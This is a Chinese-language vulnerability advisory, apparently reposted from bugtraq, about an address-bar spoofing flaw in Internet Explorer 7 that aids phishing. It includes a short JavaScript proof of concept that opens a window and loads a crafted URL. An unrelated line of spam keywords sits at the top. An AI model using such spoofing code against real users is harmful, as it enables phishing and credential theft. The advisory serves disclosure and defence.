佳能2420l复印机,体操名校校长猥亵女童,网游之龙魂战记txt
受影响系统：
microsoft internet explorer 7.0
描述：
bugtraq id: 28498
internet explorer是微软发布的非常流行的web浏览器。
如果用户用ie访问了恶意网页的话，则弹出窗口的地址栏可能为任意地址而窗口主题中为任意页面或内容。这有助于攻击者执行网络钓鱼攻击。
<*来源：juan pablo lopez yacubian (jplopezy@gmail.com)
链接：http://marc.info/?l=bugtraq&m=120673515616258&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负!
<script language="javascript">
function iniciar()
{
nuevaventana = window.open("", "win", "width=500,height=500,location=1");
nuevaventana.document.location = "http://www.google.com.ar/#" "www.microsoft.com/";
}
iniciar()
</script>
建议：
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp
如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！
点击进行留言回复
相关文章:
-
-
-
-
-
-
-
-
-
-
关于XSS漏洞另一个攻击趋势
XSS漏洞一般是基于WEB程序的输入输出问题，但最近80SEC开始发现了一系列以IE为内核的第三方浏览器的漏洞，在评估其中的XSS漏洞，我们发现了基于浏览器软件...
[阅读全文]
-
我要评论
网友评论